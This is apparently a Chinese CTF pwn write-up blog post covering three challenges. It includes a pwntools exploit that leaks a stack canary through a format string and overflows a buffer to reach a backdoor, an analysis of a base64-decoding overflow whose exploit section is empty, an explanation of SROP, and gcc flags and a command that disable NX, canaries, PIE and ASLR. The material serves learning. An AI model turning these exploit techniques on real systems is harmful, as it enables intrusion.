for的wp

0x00分析

第一步看保护

很显然这道题开了canary,我们再仔细观察栈的时候会发现存在格式化字符串漏洞和栈溢出漏洞,并有后门函数存在

格式化字符串漏洞

栈溢出

后门函数

右后门函数,但因为存在canary保护,我们不能直接调用后门函数,但我们可以通过格式化字符串漏洞来泄露canary的值,再覆盖system的地址。

从上图我们可以很清楚的看到格式化字符串的偏移是7

从上图我们可以知道canary在字符串的实际参数后32个,对于格式化字符串就是32+7=39个

0x01exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

io=process('./for')
context.log_level = 'debug'
system_binsh_addr = 0x0804876B

io.sendlineafter("APP","2")
payload="%39$p"
io.sendline(payload)
io.recvuntil("0x")
canary = int(io.recv(8),16)
print hex(canary)

io.sendlineafter("exit","1")
payload='A'*0x80+p32(canary)+12*'A'+p32(system_binsh_addr)
io.send(payload)

io.interactive()

pwns的wp

0x00 分析

看一下保护:

这道题是32位的,canary和NX都开着的。看完保护我们就可以去看一下反汇编结果

第18行:在这里执行子程序,通过子进程的运行结果,判断是否发生了对canary覆盖的攻击

第19行:这里如果v2的值为0,那么子进程正常运行,没有发生溢出攻击,判断条件为,当v2的值为0时进入判断内容

主函数这边有用的是1-24行,18-24行这边满足判断条件进入sub_8048B29()函数后成功执行后输出“Finish!”,然后结束程序。所以sub_8048B29()是有用的,而sub_8048B29()函数直接return sub_80487E6();而sub_80487E6():

sub_80487E6()其实是一个base64解码的过程,其中第27行是canary保护的位置,第95行是对v23进行异或判断v23的值是否改变。

第55~94行:这里是一个BSAE64的译码过程

sub_80486FD函数在这个函数里是一定会进去的,而sub_80486FD()函数是:

这个函数的主要功能其实就是使输入的数据为BASE64编码范围内的字符,不满足则报错 isalnum() 函数是判断参数是否为字母或数字。需要知道的是最后返回的是输入的数据,最大长度为513位。

0x01 漏洞分析及思路

上面呢,我们就分析完了整个反汇编后的代码,那么现在我们就可以思考漏洞在哪里,以及我们应该怎么做。在那个base64解码的函数中,dest中存放了我们可以随意输入的最多512个字符长度的数据,通过下面的while循环每次取四个字符,通过一系列的位移操作使四个变成三个字符,实际上就是完成了BASE64的解码过程,并且将解码后的数据存放在 v21[257] 数组中,这个数组最多可以存放257个字符。当我们输入最大长度为512字节时,512/4*3=384,最长解码之后可以得到384字节的数据,但是v21这个数组无法存储到这么多,必然会造成溢出。

但因为程序中存在着canary保护阻止栈溢出攻击,所以我们需要泄露canary的值,又因为不存在后门函数,因此我们要泄露出基地址找到system和“/bin/sh”的地址,然后拿到权限。

0x02 exp
1
2


unexploitable

0x00分析

反汇编里面的函数也很简单

main函数中有栈溢出漏洞。这道题我们要去了解一下SROP利用的机制

0x01 SROP

传统的ROP技术,尤其是amd64上的ROP,需要寻找大量的gadgets以对寄存器进行赋值,执行特定操作,如果没有合适的gadgets就需要进行各种奇怪的组装。这一过程阻碍了ROP技术的使用。而SROP技术的提出大大简化了ROP攻击的流程。
正如文章所述,SROP(Sigreturn Oriented Programming)技术利用了类Unix系统中的Signal机制,如图

上方为用户层,下方为内核层。对于Linux来说

  1. 当一个用户层进程发起signal时,控制权切到内核层
  2. 内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn
  3. rt_sigreturn执行完,跳到内核层
  4. 内核恢复②中保存的进程上下文,控制权交给用户层进程

有趣的是,这个过程存在着两个问题

  1. rt_sigreturn在用户层调用,地址保存在栈上,执行后出栈
  2. 上下文也保存在栈上,比rt_sigreturn先进栈,且内核恢复上下文时不校验
    因此,我们完全可以自己在栈上放好上下文,然后自己调用re_sigreturn,跳过步骤1、2。此时,我们将通过步骤3、4让内核把我们伪造的上下文恢复到用户进程中,也就是说我们可以重置所有寄存器的值,一次到位地做到控制通用寄存器,rip和完成栈劫持。这里的上下文我们称之为Sigreturn Frame。文章中同样给出了Sigreturn Frame的结构。

编译指令

老是会忘记出题用的一些编译指令,索性放在博客里mark一下。

1、关闭DEP/NX (堆栈不可执行)

1
gcc -z execstack -o 编译完的文件名 待编译的文件名

2、关掉Stack Protector/Canary (栈保护)

1
gcc -fno-stack-protector -o 编译完的文件名 待编译的文件名

3、关掉程序ASLR/PIE (程序随机化保护)

1
gcc -no-pie 编译完的文件名 待编译的文件名

4、关闭整个Linux系统的ASLR保护

1
2
3
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

5、打开整个Linux系统的ASLR保护

1
2
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

6、64位Linux下面的GCC编译出一个32位可执行程序

1
gcc -m32 -z execstack -fno-stack-protector -o 编译完的文件名 待编译的文件名